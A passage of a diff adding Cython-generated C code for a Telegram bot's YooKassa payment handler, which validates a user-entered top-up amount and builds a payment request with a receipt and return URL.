kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 233, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 233, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 233, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 233, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 233, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 233, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_14generator4, __pyx_codeobj__20, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + Py_ssize_t __pyx_t_13; + Py_UCS4 __pyx_t_14; + int __pyx_t_15; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L16_resume_from_await; + case 5: goto __pyx_L17_resume_from_await; + case 6: goto __pyx_L25_resume_from_await; + case 7: goto __pyx_L30_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 233, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":235 + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 235, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yookassa_pay.py":236 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":237 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + __pyx_t_3 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 237, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yookassa_pay.py":238 + * amount = int(message.text) + * if amount <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * " . , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 238, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__21}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 238, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 238, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":241 + * " . , :" + * ) + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":237 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * " . , :" + */ + } + + /* "handlers/payments/yookassa_pay.py":243 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 243, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 243, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 243, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":244 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yookassa_pay.py":245 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 245, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 245, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 244, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 244, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":248 + * ) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.create( + * { + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":249 + * + * try: + * payment = Payment.create( # <<<<<<<<<<<<<< + * { + * "amount": {"value": str(amount), "currency": "RUB"}, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 249, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_create); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":251 + * payment = Payment.create( + * { + * "amount": {"value": str(amount), "currency": "RUB"}, # <<<<<<<<<<<<<< + * "confirmation": { + * "type": "redirect", + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_value, __pyx_t_10) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_amount, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":253 + * "amount": {"value": str(amount), "currency": "RUB"}, + * "confirmation": { + * "type": "redirect", # <<<<<<<<<<<<<< + * "return_url": "https://pocomacho.ru/success.html", + * }, + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_type, __pyx_n_u_redirect) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_return_url, __pyx_kp_u_https_pocomacho_ru_success_html) < 0) __PYX_ERR(0, 253, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_confirmation, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":256 + * "return_url": "https://pocomacho.ru/success.html", + * }, + * "capture": True, # <<<<<<<<<<<<<< + * "description": " ", + * "receipt": { + */ + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_capture, Py_True) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":259 + * "description": " ", + * "receipt": { + * "customer": { # <<<<<<<<<<<<<< + * "full_name": message.from_user.full_name, + * "email": f"{message.chat.id}@solo.net", + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/yookassa_pay.py":260 + * "receipt": { + * "customer": { + * "full_name": message.from_user.full_name, # <<<<<<<<<<<<<< + * "email": f"{message.chat.id}@solo.net", + * "phone": "79000000000", + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_from_user); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_full_name); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_full_name, __pyx_t_12) < 0) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + + /* "handlers/payments/yookassa_pay.py":261 + * "customer": { + * "full_name": message.from_user.full_name, + * "email": f"{message.chat.id}@solo.net", # <<<<<<<<<<<<<< + * "phone": "79000000000", + * }, + */ + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_id); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_ConcatInPlace(__pyx_t_12, __pyx_kp_u_solo_net); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_email, __pyx_t_11) < 0) __PYX_ERR(0, 260, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_phone, __pyx_kp_u_79000000000) < 0) __PYX_ERR(0, 260, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_customer, __pyx_t_10) < 0) __PYX_ERR(0, 259, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":266 + * "items": [ + * { + * "description": " ", # <<<<<<<<<<<<<< + * "quantity": "1.00", + * "amount": { + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 266, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_description, __pyx_kp_u__8) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_quantity, __pyx_kp_u_1_00) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":269 + * "quantity": "1.00", + * "amount": { + * "value": str(amount), # <<<<<<<<<<<<<< + * "currency": "RUB", + * }, + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_12); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_value, __pyx_t_12) < 0) __PYX_ERR(0, 269, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_u_currency, __pyx_n_u_RUB) < 0) __PYX_ERR(0, 269, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_amount, __pyx_t_11) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_u_vat_code, __pyx_int_1) < 0) __PYX_ERR(0, 266, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":264 + * "phone": "79000000000", + * }, + * "items": [ # <<<<<<<<<<<<<< + * { + * "description": " ", + */ + __pyx_t_11 = PyList_New(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 264, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_11, 0, __pyx_t_10)) __PYX_ERR(0, 264, __pyx_L9_error); + __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_items, __pyx_t_11) < 0) __PYX_ERR(0, 259, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_receipt, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":276 + * ], + * }, + * "metadata": {"user_id": message.chat.id}, # <<<<<<<<<<<<<< + * }, + * uuid.uuid4(), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if 